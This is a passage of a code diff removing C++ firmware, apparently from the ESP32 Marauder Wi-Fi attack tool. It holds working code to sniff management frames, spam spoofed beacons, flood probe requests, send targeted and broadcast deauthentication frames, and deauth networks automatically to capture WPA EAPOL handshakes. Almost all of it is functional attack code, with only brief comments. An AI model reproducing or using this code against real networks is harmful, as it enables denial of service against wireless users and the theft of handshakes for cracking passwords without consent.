-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" BSSID: ");
-      char addr[] = "00:00:00:00:00:00";
-      char dst_addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      getMAC(dst_addr, snifferPacket->payload, 4);
-      Serial.print(addr);
-      Serial.print(" -> ");
-      Serial.print(dst_addr);
-      display_string.concat(text_table4[0]);
-      display_string.concat(snifferPacket->rx_ctrl.rssi);
-
-      display_string.concat(" ");
-      display_string.concat(addr);
-
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        Serial.print(" ");
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          //while (display_obj.printing)
-          //  delay(1);
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-  String essid = "";
-  bool found = false;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifdef HAS_SCREEN
-      int buf = display_obj.display_buffer->size();
-    #else
-      int buf = 0;
-    #endif
-    if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
-    {
-
-      for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        essid.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      for (int i = 0; i < ssids->size(); i++) {
-        if (ssids->get(i).essid == essid) {
-          Serial.println("Found a sheep");
-          found = true;
-          break;
-        }
-      }
-
-      if (!found)
-        return;
-      
-      delay(random(0, 10));
-      Serial.print("RSSI: ");
-      Serial.print(snifferPacket->rx_ctrl.rssi);
-      Serial.print(" Ch: ");
-      Serial.print(snifferPacket->rx_ctrl.channel);
-      Serial.print(" Client: ");
-      char addr[] = "00:00:00:00:00:00";
-      getMAC(addr, snifferPacket->payload, 10);
-      Serial.print(addr);
-      display_string.concat(addr);
-      Serial.print(" Requesting: ");
-      display_string.concat(" -> ");
-
-      // ESSID
-      for (int i = 0; i < snifferPacket->payload[25]; i++)
-      {
-        Serial.print((char)snifferPacket->payload[26 + i]);
-        display_string.concat((char)snifferPacket->payload[26 + i]);
-      }
-
-      // Print spaces because of the rotating lines of the hardware scroll.
-      // The same characters print from previous lines so I just overwrite them
-      // with spaces.
-      #ifdef HAS_SCREEN
-        for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
-        {
-          display_string.concat(" ");
-        }
-  
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-      
-      Serial.println();    
-
-      addPacket(snifferPacket, len);
-    }
-  }
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  if (custom_ssid.beacon->size() == 0)
-    return;
-
-
-  // Randomize SRC MAC
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int realLen = strlen(ESSID);
-  int ssidLen = random(realLen, 33);
-  int numSpace = ssidLen - realLen;
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < realLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  for(int i = 0; i < numSpace; i++)
-    packet[38 + realLen + i] = 0x20;
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  //for(int i = 0; i < 12; i++) 
-  //  packet[38 + fullLen + i] = postSSID[i];
-
-  packet[34] = custom_ssid.beacon->get(0);
-  packet[35] = custom_ssid.beacon->get(1);
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
-  set_channel = custom_ssid.channel;
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = custom_ssid.bssid[0];
-  packet[11] = packet[17] = custom_ssid.bssid[1];
-  packet[12] = packet[18] = custom_ssid.bssid[2];
-  packet[13] = packet[19] = custom_ssid.bssid[3];
-  packet[14] = packet[20] = custom_ssid.bssid[4];
-  packet[15] = packet[21] = custom_ssid.bssid[5];
-
-  char ESSID[custom_ssid.essid.length() + 1] = {};
-  custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send beacons with random ESSID length
-void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  int ssidLen = strlen(ESSID);
-  //int rand_len = sizeof(rand_reg);
-  int fullLen = ssidLen;
-  packet[37] = fullLen;
-
-  // Insert my tag
-  for(int i = 0; i < ssidLen; i++)
-    packet[38 + i] = ESSID[i];
-
-  /////////////////////////////
-  
-  packet[50 + fullLen] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + fullLen + i] = postSSID[i];
-  
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-
-  packets_sent = packets_sent + 3;
-  
-}
-
-// Function for sending crafted beacon frames
-void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
-
-  set_channel = random(1,12); 
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);  
-
-  // Randomize SRC MAC
-  packet[10] = packet[16] = random(256);
-  packet[11] = packet[17] = random(256);
-  packet[12] = packet[18] = random(256);
-  packet[13] = packet[19] = random(256);
-  packet[14] = packet[20] = random(256);
-  packet[15] = packet[21] = random(256);
-
-  packet[37] = 6;
-  
-  
-  // Randomize SSID (Fixed size 6. Lazy right?)
-  packet[38] = alfa[random(65)];
-  packet[39] = alfa[random(65)];
-  packet[40] = alfa[random(65)];
-  packet[41] = alfa[random(65)];
-  packet[42] = alfa[random(65)];
-  packet[43] = alfa[random(65)];
-  
-  packet[56] = set_channel;
-
-  uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
-                      0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
-
-
-
-  // Add everything that goes after the SSID
-  for(int i = 0; i < 12; i++) 
-    packet[38 + 6 + i] = postSSID[i];
-
-  esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-  //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
-
-  packets_sent = packets_sent + 3;
-}
-
-// Function to send probe flood to all "active" access points
-void WiFiScan::sendProbeAttack(uint32_t currentTime) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-      // Randomize SRC MAC
-      
-      prob_req_packet[10] = random(256);
-      prob_req_packet[11] = random(256);
-      prob_req_packet[12] = random(256);
-      prob_req_packet[13] = random(256);
-      prob_req_packet[14] = random(256);
-      prob_req_packet[15] = random(256);
-
-      // Set SSID length
-      int ssidLen = access_points->get(i).essid.length();
-      //int rand_len = sizeof(rand_reg);
-      int fullLen = ssidLen;
-      prob_req_packet[25] = fullLen;
-
-      // Insert ESSID
-      char buf[access_points->get(i).essid.length() + 1] = {};
-      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
-      
-      for(int i = 0; i < ssidLen; i++)
-        prob_req_packet[26 + i] = buf[i];
-        
-      /*
-       * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 
-                                  0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 
-                                  0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 
-                                  0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00
-       */
-
-      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
-                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
-                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
-                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00};
-
-      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
-      
-      for (int i = 0; i < 26 + fullLen; i++)
-        good_probe_req_packet[i] = prob_req_packet[i];
-
-      for(int i = 0; i < 40; i++) 
-        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
-
-      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build AP source packet
-  deauth_frame_default[4] = mac[0];
-  deauth_frame_default[5] = mac[1];
-  deauth_frame_default[6] = mac[2];
-  deauth_frame_default[7] = mac[3];
-  deauth_frame_default[8] = mac[4];
-  deauth_frame_default[9] = mac[5];
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-
-  // Build AP dest packet
-  deauth_frame_default[4] = bssid[0];
-  deauth_frame_default[5] = bssid[1];
-  deauth_frame_default[6] = bssid[2];
-  deauth_frame_default[7] = bssid[3];
-  deauth_frame_default[8] = bssid[4];
-  deauth_frame_default[9] = bssid[5];
-  
-  deauth_frame_default[10] = mac[0];
-  deauth_frame_default[11] = mac[1];
-  deauth_frame_default[12] = mac[2];
-  deauth_frame_default[13] = mac[3];
-  deauth_frame_default[14] = mac[4];
-  deauth_frame_default[15] = mac[5];
-
-  deauth_frame_default[16] = mac[0];
-  deauth_frame_default[17] = mac[1];
-  deauth_frame_default[18] = mac[2];
-  deauth_frame_default[19] = mac[3];
-  deauth_frame_default[20] = mac[4];
-  deauth_frame_default[21] = mac[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
-  // Itterate through all access points in list
-  // Check if active
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build packet
-
-  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-
-      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-      
-      deauth_frame_default[10] = access_points->get(i).bssid[0];
-      deauth_frame_default[11] = access_points->get(i).bssid[1];
-      deauth_frame_default[12] = access_points->get(i).bssid[2];
-      deauth_frame_default[13] = access_points->get(i).bssid[3];
-      deauth_frame_default[14] = access_points->get(i).bssid[4];
-      deauth_frame_default[15] = access_points->get(i).bssid[5];
-
-      deauth_frame_default[16] = access_points->get(i).bssid[0];
-      deauth_frame_default[17] = access_points->get(i).bssid[1];
-      deauth_frame_default[18] = access_points->get(i).bssid[2];
-      deauth_frame_default[19] = access_points->get(i).bssid[3];
-      deauth_frame_default[20] = access_points->get(i).bssid[4];
-      deauth_frame_default[21] = access_points->get(i).bssid[5];      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-
-void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifndef MARAUDER_MINI
-      if (snifferPacket->payload[0] == 0x80)
-      {
-        num_beacon++;
-      }
-      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
-      {
-        num_deauth++;
-      }
-      else if (snifferPacket->payload[0] == 0x40)
-      {
-        num_probe++;
-      }
-    #endif
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-    #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-    
-      //Serial.print(" ");
-    
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-
-    addPacket(snifferPacket, len);
-  }
-}
-
-void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  // Found beacon frame. Decide whether to deauth
-  if (send_deauth) {
-    if (snifferPacket->payload[0] == 0x80) {    
-      // Build packet
-  
-      uint8_t new_packet[26] = {
-                                0xc0, 0x00, 0x3a, 0x01,
-                                0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0xf0, 0xff, 0x02, 0x00
-                            };
-      
-      new_packet[10] = snifferPacket->payload[10];
-      new_packet[11] = snifferPacket->payload[11];
-      new_packet[12] = snifferPacket->payload[12];
-      new_packet[13] = snifferPacket->payload[13];
-      new_packet[14] = snifferPacket->payload[14];
-      new_packet[15] = snifferPacket->payload[15];
-    
-      new_packet[16] = snifferPacket->payload[10];
-      new_packet[17] = snifferPacket->payload[11];
-      new_packet[18] = snifferPacket->payload[12];
-      new_packet[19] = snifferPacket->payload[13];
-      new_packet[20] = snifferPacket->payload[14];
-      new_packet[21] = snifferPacket->payload[15];      
-    
-      // Send packet
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      delay(1);
-    }
-
-
-  }
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-   #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-
-      Serial.print(" ");
-
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-    
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[4];
-//      sprintf(hexCar, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  // Found beacon frame. Decide whether to deauth
-
-  if (snifferPacket->payload[0] == 0x80) {    
-    // Build packet
-
-    //Serial.println("Recieved beacon frame");
-
-    uint8_t new_packet[26] = {
-                              0xc0, 0x00, 0x3a, 0x01,
-                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0xf0, 0xff, 0x02, 0x00
-                          };
-    
-    new_packet[10] = snifferPacket->payload[10];
-    new_packet[11] = snifferPacket->payload[11];
-    new_packet[12] = snifferPacket->payload[12];
-    new_packet[13] = snifferPacket->payload[13];
-    new_packet[14] = snifferPacket->payload[14];
-    new_packet[15] = snifferPacket->payload[15];
-  
-    new_packet[16] = snifferPacket->payload[10];
-    new_packet[17] = snifferPacket->payload[11];
-    new_packet[18] = snifferPacket->payload[12];
-    new_packet[19] = snifferPacket->payload[13];
-    new_packet[20] = snifferPacket->payload[14];
-    new_packet[21] = snifferPacket->payload[15];      
-  
-    // Send packet
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    delay(1);
-  }
-
-
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[3];
